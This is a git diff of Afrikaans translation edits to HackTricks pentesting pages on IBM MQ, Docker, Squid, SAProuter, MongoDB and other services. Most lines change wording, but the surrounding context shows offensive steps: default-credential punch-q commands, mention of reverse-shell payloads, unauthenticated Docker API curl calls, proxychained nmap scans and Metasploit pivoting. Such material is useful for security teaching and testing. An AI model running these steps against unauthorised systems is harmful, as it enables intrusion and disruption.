en om opdragte uit te voer. +- **Beskrywing**: Diensbeheerder en bedienerdienste, gebruik om op afstand dienste te begin en te stop en opdragte uit te voer. - **IFID**: 4d9f4ab8-7d1c-11cf-861e-0020af6e7c57 - **Named Pipe**: `\pipe\epmapper` - **Beskrywing**: DCOM-interface, gebruik vir brute-force wagwoord grinding en inligting versameling via WM. @@ -73,7 +73,7 @@ Hierdie metode is gebruik om interface-inligting as **IPv6** adres van die HTB b Dit is moontlik om afstandkode op 'n masjien uit te voer, as die akrediteer van 'n geldige gebruiker beskikbaar is met behulp van [dcomexec.py](https://github.com/fortra/impacket/blob/master/examples/dcomexec.py) van die impacket raamwerk. -**Onthou om met die verskillende beskikbare voorwerpe te probeer** +**Onthou om te probeer met die verskillende beskikbare voorwerpe** - ShellWindows - ShellBrowserWindow diff --git a/src/network-services-pentesting/1414-pentesting-ibmmq.md b/src/network-services-pentesting/1414-pentesting-ibmmq.md index 62f52e46c..41142ec8f 100644 --- a/src/network-services-pentesting/1414-pentesting-ibmmq.md +++ b/src/network-services-pentesting/1414-pentesting-ibmmq.md @@ -145,7 +145,7 @@ Showing channels with prefix: "*"... ``` ### Queues -Daar is 'n kode-snippet met **pymqi** (`dis_queues.py`) maar **punch-q** maak dit moontlik om meer inligting oor die queues te verkry: +Daar is 'n kode-snippet met **pymqi** (`dis_queues.py`) maar **punch-q** laat toe om meer stukke inligting oor die queues te verkry: ```bash ❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN show queues -p '*' Showing queues with prefix: "*"... @@ -224,11 +224,11 @@ Giving the service 0 second(s) to live... Cleaning up service... Done ``` -**Wees bewus dat die programontplooi asynchrone is. So jy het 'n tweede item nodig om die ontploffing te benut** **_(luisteraar vir omgekeerde dop, lêer skep op 'n ander diens, data eksfiltrasie deur die netwerk ...)_** +**Wees bewus dat die programontplooi asynchrone is. So jy het 'n tweede item nodig om die exploit te benut** **_(luisteraar vir omgekeerde skulp, lêercreasie op 'n ander diens, data-uitvloei deur die netwerk ...)_** **Voorbeeld 2** -Vir 'n maklike omgekeerde dop, **punch-q** bied ook twee omgekeerde dop payloads aan: +Vir 'n maklike omgekeerde skulp, **punch-q** bied ook twee omgekeerde skulp payloads aan: - Een met bash - Een met perl @@ -245,7 +245,7 @@ Vir perl: ``` ### Aangepaste PCF -Jy kan in die IBM MQ dokumentasie delf en die **pymqi** python biblioteek direk gebruik om spesifieke PCF opdragte te toets wat nie in **punch-q** geïmplementeer is nie. +Jy kan in die IBM MQ dokumentasie delf en direk die **pymqi** python biblioteek gebruik om spesifieke PCF opdragte te toets wat nie in **punch-q** geïmplementeer is nie. **Voorbeeld:** ```python @@ -315,7 +315,7 @@ sudo docker pull icr.io/ibm-messaging/mq:9.3.2.0-r2 sudo docker run -e LICENSE=accept -e MQ_QMGR_NAME=MYQUEUEMGR -p1414:1414 -p9157:9157 -p9443:9443 --name testing-ibmmq icr.io/ibm-messaging/mq:9.3.2.0-r2 ``` Standaard is die outkenning geaktiveer, die gebruikersnaam is `admin` en die wagwoord is `passw0rd` (Omgewing veranderlike `MQ_ADMIN_PASSWORD`). -Hier is die waghuishouer naam gestel op `MYQUEUEMGR` (veranderlike `MQ_QMGR_NAME`). +Hier is die wagterbestuurder se naam gestel op `MYQUEUEMGR` (veranderlike `MQ_QMGR_NAME`). Jy moet die IBM MQ aan en loop hê met sy poorte blootgestel: ```bash diff --git a/src/network-services-pentesting/1521-1522-1529-pentesting-oracle-listener.md b/src/network-services-pentesting/1521-1522-1529-pentesting-oracle-listener.md index 98cf24b4c..c0e92c299 100644 --- a/src/network-services-pentesting/1521-1522-1529-pentesting-oracle-listener.md +++ b/src/network-services-pentesting/1521-1522-1529-pentesting-oracle-listener.md @@ -11,7 +11,7 @@ Wanneer jy Oracle opnoem, is die eerste stap om met die TNS-Listener te praat wa 1521/tcp open oracle-tns Oracle TNS Listener 9.2.0.1.0 (for 32-bit Windows) 1748/tcp open oracle-tns Oracle TNS Listener ``` -## Samevat +## Samevatting 1. **Weergawe-Enumerasie**: Identifiseer weergawe-inligting om vir bekende kwesbaarhede te soek. 2. **TNS Listener Bruteforce**: Soms nodig om kommunikasie te vestig. diff --git a/src/network-services-pentesting/1521-1522-1529-pentesting-oracle-listener/README.md b/src/network-services-pentesting/1521-1522-1529-pentesting-oracle-listener/README.md index 23ed59f8c..004032c73 100644 --- a/src/network-services-pentesting/1521-1522-1529-pentesting-oracle-listener/README.md +++ b/src/network-services-pentesting/1521-1522-1529-pentesting-oracle-listener/README.md @@ -4,7 +4,7 @@ ## Basiese Inligting -Oracle databasis (Oracle DB) is 'n relationele databasisbestuurstelsel (RDBMS) van die Oracle Corporation (van [hier](https://www.techopedia.com/definition/8711/oracle-database)). +Oracle databasis (Oracle DB) is 'n relationele databasisbestuurstelsel (RDBMS) van die Oracle Korporasie (van [hier](https://www.techopedia.com/definition/8711/oracle-database)). Wanneer jy Oracle opnoem, is die eerste stap om met die TNS-Listener te praat wat gewoonlik op die standaardpoort (1521/TCP, -jy mag ook sekondêre listeners op 1522–1529 kry-). ``` diff --git a/src/network-services-pentesting/15672-pentesting-rabbitmq-management.md b/src/network-services-pentesting/15672-pentesting-rabbitmq-management.md index d3e26dbcb..012ecbd74 100644 --- a/src/network-services-pentesting/15672-pentesting-rabbitmq-management.md +++ b/src/network-services-pentesting/15672-pentesting-rabbitmq-management.md @@ -27,7 +27,7 @@ Sodra jy korrek geverifieer het, sal jy die admin-konsol sien: As jy ook geldige geloofsbriewe het, mag jy die inligting van `http://localhost:15672/api/connections` interessant vind. -Let ook daarop dat dit moontlik is om **data binne 'n wagwoord** te publiseer met die API van hierdie diens met 'n versoek soos: +Let ook daarop dat dit moontlik is om **data binne 'n wagwoord te publiseer** met behulp van die API van hierdie diens met 'n versoek soos: ```bash POST /api/exchanges/%2F/amq.default/publish HTTP/1.1 Host: 172.32.56.72:15672 diff --git a/src/network-services-pentesting/1723-pentesting-pptp.md b/src/network-services-pentesting/1723-pentesting-pptp.md index 72d8c34e8..d5f363e27 100644 --- a/src/network-services-pentesting/1723-pentesting-pptp.md +++ b/src/network-services-pentesting/1723-pentesting-pptp.md @@ -4,7 +4,7 @@ ## Basiese Inligting -**Point-to-Point Tunneling Protocol (PPTP)** is 'n metode wat wyd gebruik word vir **afgeleë toegang** tot mobiele toestelle. Dit gebruik **TCP-poort 1723** vir die uitruil van sleutels, terwyl **IP-protokol 47** (Generiese Routeringsinkapseling, of **GRE**), gebruik word om die data wat tussen peers oorgedra word, te enkripteer. Hierdie opstelling is van kardinale belang om 'n veilige kommunikasiekanaal oor die internet te vestig, wat verseker dat die data wat uitgewissel word, vertroulik bly en beskerm word teen ongeoorloofde toegang. +**Point-to-Point Tunneling Protocol (PPTP)** is 'n metode wat wyd gebruik word vir **afgeleë toegang** tot mobiele toestelle. Dit gebruik **TCP-poort 1723** vir die uitruil van sleutels, terwyl **IP-protokol 47** (Generiese Routeringskapseling, of **GRE**), gebruik word om die data wat tussen peers oorgedra word, te enkripteer. Hierdie opstelling is van kardinale belang om 'n veilige kommunikasiekanaal oor die internet te vestig, wat verseker dat die data wat uitgewissel word, vertroulik bly en beskerm word teen ongeoorloofde toegang. **Standaard Poort**:1723 diff --git a/src/network-services-pentesting/1883-pentesting-mqtt-mosquitto.md b/src/network-services-pentesting/1883-pentesting-mqtt-mosquitto.md index 3b1c04184..eeb96be0e 100644 --- a/src/network-services-pentesting/1883-pentesting-mqtt-mosquitto.md +++ b/src/network-services-pentesting/1883-pentesting-mqtt-mosquitto.md @@ -4,7 +4,7 @@ ## Basiese Inligting -**MQ Telemetry Transport (MQTT)** is bekend as 'n **publiseer/teken in boodskap protokol** wat uitstaan vir sy uiterste eenvoud en ligtheid. Hierdie protokol is spesifiek ontwerp vir omgewings waar toestelle beperkte vermoëns het en werk oor netwerke wat gekenmerk word deur lae bandwydte, hoë latensie, of onbetroubare verbindings. Die kern doelwitte van MQTT sluit in om die gebruik van netwerkbandwydte te minimaliseer en die vraag op toestel hulpbronne te verminder. Daarbenewens poog dit om betroubare kommunikasie te handhaaf en 'n sekere vlak van afleweringswaarborg te bied. Hierdie doelwitte maak MQTT uiters geskik vir die opkomende veld van **masjien-tot-masjien (M2M) kommunikasie** en die **Internet van Dinge (IoT)**, waar dit noodsaaklik is om 'n menigte toestelle doeltreffend te verbind. Boonop is MQTT baie voordelig vir mobiele toepassings, waar die bewaring van bandwydte en batterylewe van kardinale belang is. +**MQ Telemetry Transport (MQTT)** is bekend as 'n **publiseer/teken in boodskap protokol** wat uitstaan vir sy uiterste eenvoud en ligtheid. Hierdie protokol is spesifiek ontwerp vir omgewings waar toestelle beperkte vermoëns het en werk oor netwerke wat gekenmerk word deur lae bandwydte, hoë latensie, of onbetroubare verbindings. Die kern doelwitte van MQTT sluit in om die gebruik van netwerkbandwydte te minimaliseer en die vraag op toestel hulpbronne te verminder. Boonop poog dit om betroubare kommunikasie te handhaaf en 'n sekere vlak van afleweringswaarborg te bied. Hierdie doelwitte maak MQTT uiters geskik vir die opkomende veld van **masjien-tot-masjien (M2M) kommunikasie** en die **Internet van Dinge (IoT)**, waar dit noodsaaklik is om 'n menigte toestelle doeltreffend te verbind. Verder is MQTT baie voordelig vir mobiele toepassings, waar die bewaring van bandwydte en batterylewe van kardinale belang is. **Standaard poort:** 1883 ``` @@ -15,7 +15,7 @@ PORT STATE SERVICE REASON Wanneer 'n **CONNECT** pakket deur MQTT-brokers ontvang word, word 'n **CONNACK** pakket teruggestuur. Hierdie pakket bevat 'n terugkeer kode wat noodsaaklik is om die verbindsstatus te verstaan. 'n Terugkeer kode van **0x00** beteken dat die geloofsbriewe aanvaar is, wat 'n suksesvolle verbinding aandui. Aan die ander kant dui 'n terugkeer kode van **0x05** aan dat die geloofsbriewe ongeldig is, wat die verbinding voorkom. -Byvoorbeeld, as die broker die verbinding weier weens ongeldig geloofsbriewe, sal die scenario iets soos hierdie lyk: +Byvoorbeeld, as die broker die verbinding weens ongeldig geloofsbriewe verwerp, sal die scenario iets soos hierdie lyk: ``` { "returnCode": "0x05", @@ -82,7 +82,7 @@ Die publiseer/inteken model bestaan uit: - **Publisher**: publiseer 'n boodskap na een (of meer) onderwerp(e) in die broker. - **Subscriber**: teken in op een (of meer) onderwerp(e) in die broker en ontvang al die boodskappe wat van die publisher gestuur word. - **Broker**: roeteer al die boodskappe van die publishers na die subscribers. -- **Topic**: bestaan uit een of meer vlakke wat geskei word deur 'n skuins streep (bv., /smartshouse/livingroom/temperature). +- **Topic**: bestaan uit een of meer vlakke wat geskei word deur 'n skuinsstreep (bv., /smartshouse/livingroom/temperature). ### Pakket Formaat @@ -92,13 +92,13 @@ Elke MQTT-pakket bevat 'n vaste kop (Figuur 02).Figuur 02: Vaste Kop ### Pakket Tipes -- CONNECT (1): Begin deur die kliënt om 'n verbinding met die bediener te versoek. +- CONNECT (1): Begin deur die kliënt om 'n verbinding met die bediener aan te vra. - CONNACK (2): Die bediener se erkenning van 'n suksesvolle verbinding. - PUBLISH (3): Gebruik om 'n boodskap van die kliënt na die bediener of omgekeerd te stuur. - PUBACK (4): Erkenning van 'n PUBLISH-pakket. -- PUBREC (5): Deel van 'n boodskap afleweringsprotokol wat verseker dat die boodskap ontvang word. +- PUBREC (5): Deel van 'n boodskapafleweringsprotokol wat verseker dat die boodskap ontvang word. - PUBREL (6): Verdere sekerheid in boodskapaflewering, wat 'n boodskapvrystelling aandui. -- PUBCOMP (7): Finale deel van die boodskap afleweringsprotokol, wat voltooiing aandui. +- PUBCOMP (7): Finale deel van die boodskapafleweringsprotokol, wat voltooiing aandui. - SUBSCRIBE (8): 'n Kliënt se versoek om na boodskappe van 'n onderwerp te luister. - SUBACK (9): Die bediener se erkenning van 'n SUBSCRIBE versoek. - UNSUBSCRIBE (10): 'n Kliënt se versoek om te stop om boodskappe van 'n onderwerp te ontvang. diff --git a/src/network-services-pentesting/2375-pentesting-docker.md b/src/network-services-pentesting/2375-pentesting-docker.md index 36283e3ee..adbb77323 100644 --- a/src/network-services-pentesting/2375-pentesting-docker.md +++ b/src/network-services-pentesting/2375-pentesting-docker.md @@ -10,7 +10,7 @@ Docker is die **voorste platform** in die **houeriser**, wat **deurlopende innov #### Basiese docker argitektuur -- [**containerd**](http://containerd.io): Dit is 'n **kern runtime** vir houers, verantwoordelik vir die omvattende **bestuur van 'n houer se lewensiklus**. Dit behels die hantering van **beeld oordrag en berging**, benewens die toesig oor die **uitvoering, monitering, en netwerk** van houers. **Meer gedetailleerde insigte** oor containerd word **verder ondersoek**. +- [**containerd**](http://containerd.io): Dit is 'n **kern runtime** vir houers, wat verantwoordelik is vir die omvattende **bestuur van 'n houer se lewensiklus**. Dit behels die hantering van **beeld oordrag en berging**, benewens die toesig oor die **uitvoering, monitering, en netwerk** van houers. **Meer gedetailleerde insigte** oor containerd word **verder ondersoek**. - Die **container-shim** speel 'n kritieke rol as 'n **tussenpersoon** in die hantering van **headless houers**, wat naatloos oorgeneem word van **runc** nadat die houers geïnitialiseer is. - [**runc**](http://runc.io): Geagter vir sy **liggewig en universele houer runtime** vermoëns, is runc in lyn met die **OCI standaard**. Dit word deur containerd gebruik om **houers te begin en te bestuur** volgens die **OCI riglyne**, en het ontwikkel uit die oorspronklike **libcontainer**. - [**grpc**](http://www.grpc.io) is noodsaaklik vir **fasilitering van kommunikasie** tussen containerd en die **docker-engine**, wat **doeltreffende interaksie** verseker. @@ -41,9 +41,9 @@ docker system prune -a ``` #### Containerd -**Containerd** is spesifiek ontwikkel om die behoeftes van houerplatforms soos **Docker en Kubernetes**, onder andere, te dien. Dit het ten doel om die **uitvoering van houers** oor verskeie bedryfstelsels, insluitend Linux, Windows, Solaris, en meer, te **vereenvoudig** deur bedryfstelsel-spesifieke funksionaliteit en stelselaanroepe te abstraheer. Die doel van Containerd is om slegs die noodsaaklike kenmerke wat deur sy gebruikers vereis word, in te sluit, en streef daarna om onnodige komponente te omseil. Dit word egter erken dat dit uitdagend is om hierdie doel heeltemal te bereik. +**Containerd** is spesifiek ontwikkel om die behoeftes van houerplatforms soos **Docker en Kubernetes**, onder andere, te dien. Dit het ten doel om **die uitvoering van houers te vereenvoudig** oor verskeie bedryfstelsels, insluitend Linux, Windows, Solaris, en meer, deur bedryfstelsel-spesifieke funksionaliteit en stelselaanroepe te abstraheer. Die doel van Containerd is om slegs die noodsaaklike kenmerke wat deur sy gebruikers vereis word, in te sluit, en streef daarna om onnodige komponente te omseil. Dit word egter erken dat dit 'n uitdaging is om hierdie doel heeltemal te bereik. -'n Sleutelontwerpbesluit is dat **Containerd nie netwerkbestuur** hanteer nie. Netwerk is 'n kritieke element in verspreide stelsels, met kompleksiteite soos Software Defined Networking (SDN) en diensontdekking wat aansienlik van een platform na 'n ander verskil. Daarom laat Containerd netwerkaspekte oor aan die platforms wat dit ondersteun. +'n Sleutelontwerpbesluit is dat **Containerd nie netwerkbestuur hanteer nie**. Netwerk word beskou as 'n kritieke element in verspreide stelsels, met kompleksiteite soos Software Defined Networking (SDN) en diensontdekking wat aansienlik van een platform na 'n ander verskil. Daarom laat Containerd netwerkaspekte oor aan die platforms wat dit ondersteun. Terwyl **Docker Containerd gebruik** om houers te laat loop, is dit belangrik om op te let dat Containerd slegs 'n substel van Docker se funksies ondersteun. Spesifiek, Containerd ontbreek die netwerkbestuursvermoëns wat in Docker teenwoordig is en ondersteun nie die skepping van Docker swerms direk nie. Hierdie onderskeid beklemtoon Containerd se gefokusde rol as 'n houer-uitvoeringsomgewing, wat meer gespesialiseerde funksies aan die platforms wat dit integreer, toevertrou. ```bash @@ -63,7 +63,7 @@ ctr container delete ``` #### Podman -**Podman** is 'n oopbron houer-enjin wat voldoen aan die [Open Container Initiative (OCI) standaarde](https://github.com/opencontainers), ontwikkel en onderhou deur Red Hat. Dit onderskei hom van Docker met verskeie kenmerkende funksies, veral sy **daemonless argitektuur** en ondersteuning vir **rootless containers**, wat gebruikers in staat stel om houers sonder root regte te laat loop. +**Podman** is 'n oopbron houer-enjin wat voldoen aan die [Open Container Initiative (OCI) standaarde](https://github.com/opencontainers), ontwikkel en onderhou deur Red Hat. Dit onderskei hom van Docker met verskeie kenmerkende eienskappe, veral sy **daemonless argitektuur** en ondersteuning vir **rootless containers**, wat gebruikers in staat stel om houers sonder root regte te laat loop. Podman is ontwerp om versoenbaar te wees met Docker se API, wat die gebruik van Docker CLI-opdragte moontlik maak. Hierdie versoenbaarheid strek tot sy ekosisteem, wat gereedskap soos **Buildah** vir die bou van houerbeelde en **Skopeo** vir beeldoperasies soos push, pull, en inspect insluit. Meer besonderhede oor hierdie gereedskap kan op hul [GitHub-bladsy](https://github.com/containers/buildah/tree/master/docs/containertools) gevind word. @@ -71,7 +71,7 @@ Podman is ontwerp om versoenbaar te wees met Docker se API, wat die gebruik van - **Argitektuur**: Anders as Docker se kliënt-bediener model met 'n agtergrond daemon, werk Podman sonder 'n daemon. Hierdie ontwerp beteken dat houers loop met die regte van die gebruiker wat hulle begin, wat sekuriteit verbeter deur die behoefte aan root toegang te elimineer. - **Systemd Integrasie**: Podman integreer met **systemd** om houers te bestuur, wat houerbestuur deur systemd-eenhede moontlik maak. Dit staan in teenstelling met Docker se gebruik van systemd hoofsaaklik vir die bestuur van die Docker daemon proses. -- **Rootless Containers**: 'n Belangrike kenmerk van Podman is sy vermoë om houers onder die inisieerder se regte te laat loop. Hierdie benadering minimaliseer die risiko's wat verband hou met houerbreuke deur te verseker dat aanvallers slegs die gecompromitteerde gebruiker se regte verkry, nie root toegang nie. +- **Rootless Containers**: 'n Pivotal kenmerk van Podman is sy vermoë om houers onder die inisieerder se gebruikersregte te laat loop. Hierdie benadering minimaliseer die risiko's wat met houerbreuke geassosieer word deur te verseker dat aanvallers slegs die gecompromitteerde gebruiker se regte verkry, nie root toegang nie. Podman se benadering bied 'n veilige en buigsame alternatief vir Docker, met die klem op gebruikersregte bestuur en versoenbaarheid met bestaande Docker werkvloei. @@ -87,7 +87,7 @@ Podman se benadering bied 'n veilige en buigsame alternatief vir Docker, met die ### Basiese Inligting -Afgeleë API loop standaard op poort 2375 wanneer geaktiveer. Die diens sal standaard nie verifikasie vereis nie, wat 'n aanvaller in staat stel om 'n bevoorregte docker houer te begin. Deur die Afgeleë API kan 'n mens gashere / (root gids) aan die houer koppel en lêers van die gasheer se omgewing lees/schryf. +Afgeleë API loop standaard op poort 2375 wanneer geaktiveer. Die diens sal standaard nie verifikasie vereis nie, wat 'n aanvaller in staat stel om 'n bevoorregte docker houer te begin. Deur die Afgeleë API kan 'n mens gashere / (root gids) aan die houer koppel en lêers van die gasheer se omgewing lees/schryf. **Standaard poort:** 2375 ``` @@ -175,7 +175,7 @@ curl –insecure -vv -X POST -H "Content-Type: application/json" https://tls-ope #Delete stopped containers curl –insecure -vv -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/prune ``` -As jy meer inligting oor hierdie onderwerp wil hê, is meer inligting beskikbaar waar ek die opdragte gekopieer het: [https://securityboulevard.com/2019/02/abusing-docker-api-socket/](https://securityboulevard.com/2019/02/abusing-docker-api-socket/) +As jy meer inligting oor hierdie onderwerp wil hê, is meer inligting beskikbaar waar ek die opdragte van gekopieer het: [https://securityboulevard.com/2019/02/abusing-docker-api-socket/](https://securityboulevard.com/2019/02/abusing-docker-api-socket/) #### Outomaties ```bash @@ -210,7 +210,7 @@ Kontroleer **env** (omgewing veranderlike afdeling) vir geheime en jy mag vind: - Wagwoorde. - Ip's. -- Hawens. +- Poorte. - Paaie. - Ander… . @@ -305,7 +305,7 @@ falco-probe found and loaded in dkms ``` #### Monitering Docker -Jy kan auditd gebruik om docker te moniteer. +Jy kan auditd gebruik om docker te moniter. ### Verwysings diff --git a/src/network-services-pentesting/24007-24008-24009-49152-pentesting-glusterfs.md b/src/network-services-pentesting/24007-24008-24009-49152-pentesting-glusterfs.md index ed03b3a6c..d4655703d 100644 --- a/src/network-services-pentesting/24007-24008-24009-49152-pentesting-glusterfs.md +++ b/src/network-services-pentesting/24007-24008-24009-49152-pentesting-glusterfs.md @@ -2,7 +2,7 @@ # Basiese Inligting -**GlusterFS** is 'n **verspreide lêerstelsel** wat stoorplek van verskeie bedieners kombineer in een **geïntegreerde stelsel**. Dit stel jou in staat tot **arbitraire skaalbaarheid**, wat beteken dat jy maklik stoorplekbedieners kan byvoeg of verwyder sonder om die algehele lêerstelsel te ontwrig. Dit verseker hoë **beskikbaarheid** en **fouttoleransie** vir jou data. Met GlusterFS kan jy jou lêers benader asof dit plaaslik gestoor is, ongeag die onderliggende bedienerinfrastruktuur. Dit bied 'n kragtige en buigsame oplossing vir die bestuur van groot hoeveelhede data oor verskeie bedieners. +**GlusterFS** is 'n **verspreide lêerstelsel** wat stoorplek van verskeie bedieners in een **geïntegreerde stelsel** kombineer. Dit stel jou in staat tot **arbitraire skaalbaarheid**, wat beteken dat jy maklik stoorplekbedieners kan byvoeg of verwyder sonder om die algehele lêerstelsel te ontwrig. Dit verseker hoë **beskikbaarheid** en **fouttoleransie** vir jou data. Met GlusterFS kan jy jou lêers benader asof dit plaaslik gestoor is, ongeag die onderliggende bedienerinfrastruktuur. Dit bied 'n kragtige en buigsame oplossing vir die bestuur van groot hoeveelhede data oor verskeie bedieners. **Standaard poorte**: 24007/tcp/udp, 24008/tcp/udp, 49152/tcp (voorts)\ Vir die poort 49152, moet poorte wat met 1 verhoog word oop wees om meer bakstene te gebruik. _Voorheen is die poort 24009 in plaas van 49152 gebruik._ @@ -30,6 +30,6 @@ As jy 'n **fout ontvang wanneer jy die lêerstelsel probeer monteer**, kan jy di - /etc/ssl/glusterfs.key - /etc/ssl/glusterfs.ca.pem -En dit in jou masjien se `/etc/ssl` of `/usr/lib/ssl` gids te stoor (as 'n ander gids gebruik word, kyk vir lyne soortgelyk aan: "_could not load our cert at /usr/lib/ssl/glusterfs.pem_" in die logs). +En dit in jou masjien se `/etc/ssl` of `/usr/lib/ssl` gids te stoor (as 'n ander gids gebruik word, kyk vir lyne soortgelyk aan: "_could not load our cert at /usr/lib/ssl/glusterfs.pem_" in die logs). {{#include ../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/27017-27018-mongodb.md b/src/network-services-pentesting/27017-27018-mongodb.md index df980c20a..bf438bd3c 100644 --- a/src/network-services-pentesting/27017-27018-mongodb.md +++ b/src/network-services-pentesting/27017-27018-mongodb.md @@ -80,7 +80,7 @@ Byvoorbeeld, hier is hoe ons 'n werklike Object ID kan ontleed wat deur 'n toepa 3. 2500: Proses ID 4. 314019: 'n Inkrementele teenaar -Van die bogenoemde elemente sal die masjien identifiseerder dieselfde bly solank die databasis die dieselfde fisiese/virtuele masjien draai. Proses ID sal slegs verander as die MongoDB-proses herbegin word. Tydstempel sal elke sekonde opgedateer word. Die enigste uitdaging om Object ID's te raai deur eenvoudig die teenaar en tydstempel waardes te inkrementeer, is die feit dat Mongo DB Object ID's genereer en aan Object ID's op 'n stelselniveau toewys. +Van die bogenoemde elemente sal die masjien identifiseerder dieselfde bly solank die databasis dieselfde fisiese/virtuele masjien draai. Proses ID sal slegs verander as die MongoDB-proses herbegin word. Tydstempel sal elke sekonde opgedateer word. Die enigste uitdaging om Object ID's te raai deur eenvoudig die teenaar en tydstempel waardes te inkrementeer, is die feit dat Mongo DB Object ID's genereer en aan Object ID's op 'n stelselniveau toewys. Die hulpmiddel [https://github.com/andresriancho/mongo-objectid-predict](https://github.com/andresriancho/mongo-objectid-predict), gegewe 'n begin Object ID (jy kan 'n rekening skep en 'n begin ID kry), stuur ongeveer 1000 waarskynlike Object ID's terug wat moontlik aan die volgende objekte toegeken kon gewees het, so jy moet net hulle bruteforce. diff --git a/src/network-services-pentesting/3128-pentesting-squid.md b/src/network-services-pentesting/3128-pentesting-squid.md index 6b15531b2..54d21c356 100644 --- a/src/network-services-pentesting/3128-pentesting-squid.md +++ b/src/network-services-pentesting/3128-pentesting-squid.md @@ -2,9 +2,9 @@ # Basiese Inligting -From [Wikipedia](): +Van [Wikipedia](): -> **Squid** is 'n kas en voortgang HTTP-webproxy. Dit het 'n wye verskeidenheid gebruike, insluitend die versnel van 'n webbediener deur herhaalde versoeke te kas, die kas van web-, DNS- en ander rekenaar netwerksoektogte vir 'n groep mense wat netwerkbronne deel, en die bevordering van sekuriteit deur verkeer te filter. Alhoewel dit hoofsaaklik vir HTTP en FTP gebruik word, sluit Squid beperkte ondersteuning in vir verskeie ander protokolle, insluitend Internet Gopher, SSL, TLS en HTTPS. Squid ondersteun nie die SOCKS-protokol nie, anders as Privoxy, waarmee Squid gebruik kan word om SOCKS-ondersteuning te bied. +> **Squid** is 'n kas en voortgangs HTTP-webproxy. Dit het 'n wye verskeidenheid gebruike, insluitend die versnel van 'n webbediener deur herhaalde versoeke te kas, die kas van web-, DNS- en ander rekenaar netwerksoektogte vir 'n groep mense wat netwerkbronne deel, en die bevordering van sekuriteit deur verkeer te filter. Alhoewel dit hoofsaaklik vir HTTP en FTP gebruik word, sluit Squid beperkte ondersteuning vir verskeie ander protokolle in, insluitend Internet Gopher, SSL, TLS en HTTPS. Squid ondersteun nie die SOCKS-protokol nie, anders as Privoxy, waarmee Squid gebruik kan word om SOCKS-ondersteuning te bied. **Standaard poort:** 3128 ``` @@ -23,8 +23,8 @@ curl --proxy http://10.10.11.131:3128 http://10.10.11.131 ## Nmap proxified Jy kan ook probeer om die proxy te misbruik om **interne poorte te skandeer deur nmap te proxify**.\ -Konfigureer proxychains om die squid proxy te gebruik deur die volgende lyn aan die einde van die proxichains.conf-lêer toe te voeg: `http 10.10.10.10 3128`\ -Vir proxies wat verifikasie vereis, voeg akrediteerbesonderhede by die konfigurasie deur die gebruikersnaam en wagwoord aan die einde in te sluit: `http 10.10.10.10 3128 gebruikersnaam wagwoord`. +Konfigureer proxychains om die squid proxy te gebruik deur die volgende lyn aan die einde van die proxichains.conf-lêer toe te voeg: `http 10.10.10.10 3128` +Vir proxies wat verifikasie vereis, voeg geloofsbriewe by die konfigurasie deur die gebruikersnaam en wagwoord aan die einde in te sluit: `http 10.10.10.10 3128 gebruikersnaam wagwoord`. Voer dan nmap uit met proxychains om **die gasheer van plaaslik te skandeer**: `proxychains nmap -sT -n -p- localhost` diff --git a/src/network-services-pentesting/3260-pentesting-iscsi.md b/src/network-services-pentesting/3260-pentesting-iscsi.md index 1aa73e2b3..667672939 100644 --- a/src/network-services-pentesting/3260-pentesting-iscsi.md +++ b/src/network-services-pentesting/3260-pentesting-iscsi.md @@ -4,7 +4,7 @@ ## Basiese Inligting -Van [Wikipedia](https://en.wikipedia.org/wiki/ISCSI): +From [Wikipedia](https://en.wikipedia.org/wiki/ISCSI): > In rekenaarwetenskap is **iSCSI** 'n akroniem vir **Internet Small Computer Systems Interface**, 'n Internet Protocol (IP)-gebaseerde stoor netwerkstandaard vir die koppel van data stoor fasiliteite. Dit bied blokvlak toegang tot stoor toestelle deur SCSI-opdragte oor 'n TCP/IP-netwerk te dra. iSCSI word gebruik om data oordragte oor intranette te fasiliteer en om stoor oor lang afstande te bestuur. Dit kan gebruik word om data oor plaaslike area netwerke (LANs), wye area netwerke (WANs), of die Internet te stuur en kan plek-onafhanklike data stoor en herwinning moontlik maak. > diff --git a/src/network-services-pentesting/3299-pentesting-saprouter.md b/src/network-services-pentesting/3299-pentesting-saprouter.md index a513ba28e..ceb497b84 100644 --- a/src/network-services-pentesting/3299-pentesting-saprouter.md +++ b/src/network-services-pentesting/3299-pentesting-saprouter.md @@ -30,7 +30,7 @@ Met verkregen interne netwerkinsigte, word die **sap_router_portscanner** module msf auxiliary(sap_router_portscanner) > set INSTANCES 00-50 msf auxiliary(sap_router_portscanner) > set PORTS 32NN ``` -Die buigsaamheid van hierdie module om spesifieke SAP-instances en poorte te teiken, maak dit 'n effektiewe hulpmiddel vir gedetailleerde interne netwerkverkenning. +Die buigsaamheid van hierdie module om spesifieke SAP-instanties en poorte te teiken, maak dit 'n effektiewe hulpmiddel vir gedetailleerde interne netwerkverkenning. **Geavanceerde Enumerasie en ACL Kaartlegging** @@ -43,9 +43,9 @@ msf auxiliary(sap_router_portscanner) > set PORTS 80,32NN In scenario's waar direkte inligting van die SAProuter beperk is, kan tegnieke soos blind enumeration toegepas word. Hierdie benadering probeer om die bestaan van interne gasname te raai en te verifieer, wat potensiële teikens onthul sonder direkte IP-adresse. -**Benutting van Inligting vir Penetration Testing** +**Benutting van Inligting vir Penetrasietoetsing** -Nadat die netwerk in kaart gebring is en toeganklike dienste geïdentifiseer is, kan penetration testers Metasploit se proxy vermoëns benut om deur die SAProuter te pivot vir verdere verkenning en uitbuiting van interne SAP-dienste. +Nadat die netwerk in kaart gebring is en toeganklike dienste geïdentifiseer is, kan penetrasietoetsers Metasploit se proxy vermoëns benut om deur die SAProuter te beweeg vir verdere verkenning en uitbuiting van interne SAP-dienste. ```text msf auxiliary(sap_hostctrl_getcomputersystem) > set Proxies sapni:1.2.3.101:3299 msf auxiliary(sap_hostctrl_getcomputersystem) > set RHOSTS 192.168.1.18 diff --git a/src/network-services-pentesting/3632-pentesting-distcc.md b/src/network-services-pentesting/3632-pentesting-distcc.md index 5306910cd..42a178284 100644 --- a/src/network-services-pentesting/3632-pentesting-distcc.md +++ b/src/network-services-pentesting/3632-pentesting-distcc.md @@ -2,7 +2,7 @@ # Basiese Inligting -**Distcc** is 'n hulpmiddel wat die **kompilasieproses** verbeter deur die **idle verwerkingskrag** van ander rekenaars in die netwerk te benut. Wanneer **distcc** op 'n masjien opgestel is, is hierdie masjien in staat om sy **kompilasietake** na 'n ander stelsel te versprei. Hierdie ontvangerstelsel moet die **distccd daemon** draai en moet 'n 